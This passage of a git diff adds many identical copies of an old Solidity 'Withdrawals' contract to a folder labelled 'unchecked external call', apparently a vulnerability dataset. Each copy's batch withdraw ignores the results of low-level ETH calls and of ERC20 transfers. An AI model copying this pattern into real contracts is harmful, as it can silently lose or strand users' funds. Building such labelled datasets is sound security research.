Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43590.sol b/smart_contract_dataset/unchecked external call/43590.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43590.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43593.sol b/smart_contract_dataset/unchecked external call/43593.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43593.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43595.sol b/smart_contract_dataset/unchecked external call/43595.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43595.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43747.sol b/smart_contract_dataset/unchecked external call/43747.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43747.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43750.sol b/smart_contract_dataset/unchecked external call/43750.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43750.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43752.sol b/smart_contract_dataset/unchecked external call/43752.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43752.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43757.sol b/smart_contract_dataset/unchecked external call/43757.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43757.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender 